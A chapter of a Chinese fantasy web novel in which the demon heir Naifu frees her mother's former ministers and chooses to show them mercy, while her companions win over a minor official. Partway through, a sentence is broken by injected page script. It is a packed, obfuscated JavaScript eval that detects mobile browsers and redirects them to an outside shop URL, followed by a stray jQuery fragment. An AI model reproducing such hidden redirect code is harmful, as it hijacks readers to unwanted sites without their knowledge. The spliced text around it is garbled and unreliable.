奈芙刚刚离开空间的时候,沉浸在浩大的力量冲刷中,一时间进入到一种幽微玄妙境界,她听得到深渊最深处魔物初生的呼吸心跳,也似乎能感受到河流在她血液流动,草木在她身上生长。如果说核心是种子,在得到法阵和矿石后,她已经能明确的感觉到从种子里生长出的苹果树,而现在,她感到第一个果实成型了。

    一个丰美鲜艳的果实,符合一切恶魔对于美的想象——

    可是,那果肉之中包裹着的种子里,却蕴含着点点异样。

    光明的力量,她想,光明的力量在我体内。

    她是吞噬空间结界而出,自然而然也吸收了光明之力。她这样贪心,根本不肯把这部分力量从核心剥离,它虽然小,但其中蕴含的生机叫她诧异,不肯消融,与构成她核心的罪力融合。

    无所谓,奈芙抬手摸摸心口,天长日久,它自然会成为她的一部分。

    只是这里竟然有这么纯粹的光明之力,倒是叫她微微诧异,怎么回事?是受了昂德法尔山力量的同化?

    不过这些都是其次了,奈芙转动庞大法身,拨开层云,把目光投向大地。

    她的瞳孔中映照出了山巅的小小声音,在云后,她的脸上不由自主浮现笑容。

    被磅礴的大恶魔威压震晕的瑟维尔等魔悠悠醒转,模糊视野中,先看到如刀山风中飞扬的赤红,映照黧黑群山,如同飞扬旗帜,一时之间竟然不知今夕何夕,恍惚喊了一声“陛下?”

    奈芙听到这一声陛下,自然而然转头应答,俯瞰着这群老臣子,深深注视,试图从他们脸上找出昔日模样。

    ——算了,她闭了闭眼,变化太大了,实在是看不出来。

    当年她母亲和父亲身边自然是美人云集,如今这一个个形容枯槁,和底层魔怪没什么区别了。

    而瑟维尔也深深注视奈芙,眼泪不断滑落又蒸发,被带着光明之力的火风吹得脸上血痕交错。

    “小殿下......您真是像您的母亲......”他哽咽道。

    奈芙心中浮起讽刺笑容:不,她不觉得像。

    她其实并不喜欢被他们说像妈妈。

    但奈芙没说什么,他们对着她怀念旧时光而已,她是一个符号和象征。但她现在也需要成为这个符号与象征。

    一个有人拜服的王座,是容易吸引更多人服从的,奈芙寻找这批旧日臣子,也是希望他们能够帮助她。

    不然就得像瑟莱萨,自个儿把王座安在废墟里,和她借钱盖城堡,要不是暴食家的人上赶着被她看到了机会,现在她还在还债呢。

    她伸出手来,瑟维尔膝行过去,握着她的指尖,亲吻她戴着的一枚戒指。

    自然不是她母亲曾经的那枚宝钻了,它大概戴在费德莲手上呢。但权力又不是取决于戒指。

    “卿等的忠心可嘉,”奈芙温煦道,“你们受的苦自然会得到补偿的。”

    “为了格利特家的荣耀,”瑟维尔泪眼汪汪的抬头看她,“臣等万死不辞。”

    “之前您希望我为您联络旧部,如今已经寻到二十七人,其余的臣会继续为您搜寻的。”

    应宣轻轻撇撇嘴角,淮川像是注意到了,看他一眼,应宣遂垂下眼帘。

    陆英行自然什么都没想到,他此刻目光灼灼盯着那批老臣呢。

    应宣相信淮川已经感觉到了,围绕着奈芙的竞争,争夺主君的宠幸是恶魔们的天性,在主君落难的时候他们自己也在受罪,没能帮助她任何,而现在,是他们展现自己价值的时刻了。

    淮川陪伴奈芙日久,自有默契,陆英行是唯一一个有光明血统的——哎,这个傻孩子还一心一意在吃醋!——他的稀缺性决定了他的地位。

    而他自己呢......除了灵魂,他一无所有。

    “不忙,”奈芙和缓的告诉他们,“你们的力量几乎已经散逸,想要为我效力也要等些时日。”

    “可是!”瑟维尔有些急切,“我们仍然是有用处的!”

    应宣嘴角微微上翘,他站在奈芙身后半步,在袖口的遮掩下,她的手背碰了碰他的手背,只是如蜻蜓触碰荷花似的,但他明白她知道了他隐隐的焦虑。

    “休息一段吧,”奈芙的声音不容置疑,“我有别的话问你们。”

    她微微俯身,双眼紧盯着瑟维尔。

    话语就凝结在她唇边,而威压再次铺开,令在场所有的人和魔难以呼吸。她想要问的那句话如同成熟的果实,似乎就立刻要掉落了。

    但是威压陡然消失了,她终于只是伸出手来,握住了瑟维尔的手,把他拉了起来。

    “不着急,瑟维尔叔叔,”奈芙拍了拍他的肩膀,用了过去对他的称呼,“你们劳累太久了,我希望你们能好好的休息。”

    她轻轻伸手,浅金的屏障升起,隔绝了昂德法尔山上对恶魔有毒的光明力量,把他们所有魔笼罩在其中。

    瑟维尔和他身后的恶魔们陡然觉得伴随数百年的疼痛与疲惫一扫而空,他不可置信的望着屏障外的光明之力——它们附着在屏障上,蚀刻出美丽的纹路。

    “你们现在安全了,”奈芙说,“我会庇护你们的。”

    瑟维尔双手悬在半空中,那里曾挂着沉重锁链,但如今轻盈的叫他无法适应。

    “我们......”他口舌干涩。

    “是的,我会庇护你们,只是因为我希望你们能够休息休息。”

    瑟维尔几乎有点不安了。

    但是奈芙的笑容和言语丝毫不变,她看起来是真诚的这么想。

    “您,”他终于开口了,“既然是您的命令。”

    奈芙点头:“对,这是我的命令,也是我的期望。”

    “之前,是臣说错了,”瑟维尔目视着奈芙,终于喟叹,“您和您的母亲并没有那么相似。”

    奈芙的手放在他肩头。

    “没关系,”她说,“以后各位有很长的时间来了解我。”

    在昂德法尔山令人痛楚的神圣光芒中,奈芙看起来简直也有点儿——神圣——当然,瑟维尔不会说出这样的话语,这在恶魔的语境中简直是在唾骂主君虚伪而懦弱。

    他理应唾弃、理应怀疑这样的主君是否值得他效忠,即使她是硕果仅存的血脉。可是瑟维尔发现他一点儿都升不起这样的想法,相反的,他发现他自己已经跪倒在过于年轻的小殿下面前,安心的嚎啕,而眼泪不会再是灼烧的烈焰,而只是顺着脸流淌。

    真是有失风度。

    他偷偷环顾周围,发现他的同僚们比他哭得还要更厉害,因此,他决定可以放心的嚎啕。

    奈芙站在旧臣们面前,睫毛下垂,看着他们跪地恸哭,嘴角轻微的翘起。

    她刚刚真的想问了,当年的情况,母亲和父亲的死亡......但是她忍住了。

    这里的时空诡异,地点特殊,她认为还是在一个她能完全掌控的地方去了解信息才好。反正已经找到了母亲的臣子们,以后她有的是机会。

    但是,有另外一件事涌上她心头。

    她的母亲没有教她如何做一个主君,因为在恶魔的认知中,这是无需教导的,她生来强大,力量凌驾于众恶魔之上,她理应得到一切,统治一切。她可以冷漠严酷,漫不经心的对待她的臣民,因为心血来潮切掉他们的美丽翅膀,或者挖出眼睛把玩,再随手丢掉。

    可是她的母亲死去了,父亲也是,居然有费德莲这样的混血恶魔,即使知道自己比不上主君,也要叛乱,居然还成功了。

    力量之外,还有别的东西。她不愿意只靠着血统的力量来治理她的国土和臣民,应当有一条新的路,和魔界千万年的道路都不一样。

    她将会尝试对她的臣民展现仁慈的面目,既然,他们刚刚都已经直观的体会到了她的权与力。

    看,她获得了初步的成功:他们伏在她面前哭泣,不是因为恐惧,而是因为感激和爱戴。

    她微微侧头,看一眼淮川。他也在注视奈芙,他们目光交错,蕴含默契。

    正如淮川从奈芙身上学会了对待恶魔的冷漠与严苛,仁慈这种品质,对大恶魔来说,也罕有的如同沙漠中的一粒露珠。

    她从淮川身上学到了这一点,用来驯服人类的心,如今看来,对于有心的生物来说,这种包裹天鹅绒的武器也是有用的,即使那是恶魔。

    等到一堆老弱病残魔终于哭够了,哭尽兴了,瑟维尔擦擦眼泪,摇晃着站起来。

    “我们都追随殿下,听凭您吩咐。”他说话仍有鼻音。

    “那我们这就离开。”奈芙一锤定音。

    恶魔们看着她,目中充满期待。

    “怎么了?”她莫名其妙,“众卿走不动了吗?”

    她甚至还做了个手势:“走吧,下山啊。”

    风呼啸的声音特别大,看瑟维尔震惊神色就知道他确实没想到他们需要步行下山,毕竟奈芙如今晋升大恶魔,一般来说交通方式是直接穿越时空,没想到他们居然这样原始的、简单朴素的走下去。

    他磕磕巴巴的问:“那管事看到,是不是会给您带来麻烦?”

    随即瑟维尔又摇摇头:“不,杀了他们就行,不会有麻烦。”

    奈芙看一眼淮川,他于是干脆的开口,声调清冷:“不,我们不会那样做。”

    瑟维尔几乎是有些困惑的看着奈芙了。

    “可是......”他环顾四周,随即露出恍然大悟神情,“那么,您是已经准备拿回您的王座了!”

    应宣往前走了半步,露出他迷人但是暗含着讽刺的笑容。

    “我想,各位劳累了太久,”他说,“而殿下刚刚晋阶,也累了。”

    他的眼神中隐含着高高在上的怜悯:“还是不要操心了,您看是吗?”

    陆英行已经不耐烦的回头了:“要不我去找个矿车来运人吧!”

    众魔面面相觑,只得亦步亦趋跟着这三位漂亮又年轻的过分的、可恨极了的小东西。他们明明只有三个人,却把主君身后的位置占得牢牢的,不给他们机会走上前。

    而他们的主君走在最前面,看起来悠然自得,并不在意身后的竞争。

    不管山中诞生了何等惊天动地的大恶魔,对山下这名小小管事来说都已经不值得关心。此时此刻,这小小魔怪只是盯着眼前的客人们,头顶触角都由于恐惧而乱颤。

    “我不能啊,贵人,这些都是家主的罪人,我怎么敢放走——不不不,不可以!”他摆动一双肉乎乎小手,触角晃出了残影。

    奈芙自然是不出面处理这种事情的,她只是坐在山峦处的一株枯树下发呆,荆棘王座伸出数条藤蔓挂在枯树上,给她做了个秋千,好让她在对恶魔来说有毒的朔风里晃着玩儿。

    它自从在空间

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656674|207003||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里出现之后,就能随她心意出现了,她觉得挺有用的。

    她的裙子在风里摆荡,令她想起了一点儿过去的事情,仿佛很久以前,她的花园里也有这么一座秋千,供她消遣。

    不过她如今的心思并不在秋千上,她虽然魔在远处,却在听着风为她送来的屋内声音。

    比如此刻,对着那焦虑的小管事,淮川没说话,倒是应宣柔和的笑起来。

    管事不知怎的,瞧见他笑容,心中震荡,不知不觉垂下触角,瞧见自己双手布满尘灰,就藏在身后,拒绝的声音也不那么坚定了。

    “我不能啊,”他嘟囔,“万一家主发现了…..怎么办呢?”

    陆英行哼一声,手中已经出现光球,吓得管事噔噔后退,整个魔扁扁的贴在墙面上。

    “哎呀,这可不能开玩笑啊,贵人,我魔力轻微,碰一下就会死掉的!”

    “那你正好不用担心家主发现了。”陆英行步步靠近。

    管事恨不得穿墙逃跑,但他万万做不到,他的触角已经在光球致命的热力中萎缩。

    应宣柔和的声音又响起来:“其实,你又何必如此忠诚?家主会知道你是谁吗?你死了,明天新的管事就走马上任……只是帮我们一点儿小忙罢了…..”

    他双眼注视管事圆圆眼睛,含着荡漾的波光。

    是啊,管事的心想,是啊!我在这里吃苦受罪几百年,上面也看不到,我又何必为了这死在当场?就算家主要降罪,也是以后的事情了!

    荆棘王座收回了奈芙体内,奈芙站起来。

    应宣的魅魔血统稀薄,在人间界当然够用,可这是魔界,他要对付费德莲手下混血估计都不够,奈芙原本并没有明确的期待他能做什么。

    可是现在她突然想起,费德莲手下的混血不行,那么手下的手下呢,魔界广大的土地上有如此多默默无闻的小魔怪,他们维持着王国的运行,君主看不到他们,但他们实际存在。

    而管事的果然点头了。

    “哎,”他在人员名单上划去瑟韦尔他们的名字,只是触角仍然无精打采,“我们这种小官儿,在这里干活,本来已经没有前途,但……”

    他叹了一口气,没说什么,触角在风里无力的摆动两下。

    他是不敢多说什么的了,应宣说的有道理,能活多久活多久吧。

    应宣还含着笑容,陆英行收起了光球,瞧着这个颓丧的小魔怪,心里觉得有些不舒服,但也只好转过头不看他。

    “阿川,”淮川耳畔响起奈芙的话语,“你把纳什忒尔家令牌给他,让他告诉阿德里安。”

    淮川思索片刻,有点诧异:“你是想让阿德里安知道?”

    然而奈芙没有多解释,他也就不再问下去,只是把腰间令牌递给了这圆冬瓜似的小魔怪。

    “我想你认识纳什忒尔的令牌,今天我们是奉纳什忒尔家主人的命令带走他们的,你若是想活命,可以立刻离开这里,直接去纳什忒尔家,告诉阿德里安陛下,”淮川告诉他,“若是你们家主君知道了,他会替你解释。”

    小魔怪的触角精神起来了。

    “真的吗?”他圆圆的望着淮川。

    “空间戒指也给这小家伙吧,关键时刻能救命。”奈芙在淮川耳畔吩咐。

    淮川于是摘下手上戒指给他:“如果你还是担心你的小命,这个戒指你带着,危急时刻可以把你传送到人间界去——但你从此也不能回来了。”

    应宣和陆英行都看着淮川,陆英行眼睛都瞪圆了。

    应宣也许还了解的不深,陆英行可知道,除却奈芙,淮川对他人向来是漠不关心,今天小管事已经答应放这批罪人离开,他们的目的就算是达成了,其他事他不该管的,可是现在他居然还替这小魔怪找了条生路!

    淮川根本不看他俩,倒是奈芙已经在他耳边狂笑:“你看小行,他看起来像是惊呆的小狗。”

    淮川心中轻轻的、不耐烦的“啧”了一声给奈芙听。

    那小魔怪千恩万谢的接下戒指,应宣已经明白淮川为何如此行事,走出两步,又回头对小魔怪说:“艾吉在人间过得很不错。”

    这是真的,艾吉在他工作室运作下,变身为人的小魔怪已经迅速成了小偶像,因为应宣威胁他如果出了岔子就把他扔回昂德法尔山,他不知多么敬业。若是小管事将来走投无路去了人间界,找到艾吉还是容易的。

    应宣走出房门,听到奈芙的声音在他耳边轻声赞他:“好孩子,真聪明。”

    他轻轻捏拳,看来这多余的话还是说对了。淮川不会骤然行事风格变化,一定是奈芙的意思,既然她想要放小管事一条生路,他不妨指条明路。

    这并非为了小管事,只是为了向奈芙证明自己明白她的意思。

    “仁慈的先生们!”他们走出门,还能听到小管事在喊,“愿路西法庇佑你们!”

    奈芙和瑟韦尔他们无疑都听到了这句话,瑟韦尔偷偷看一眼小殿下表情,并未见她面露不快。

    难道这一代真的会是一位仁慈的君主?这在纯血恶魔们的语境里可不算赞美。

    可是瑟韦尔想到在云后她那双巨大的、漠然的瞳孔,以及被她注视时,心中不由自主升起的战栗和恐惧……

    不,他收回眼神,心想,只要殿下愿意,她当然可以是仁慈的君主,谁又敢因此小觑她呢?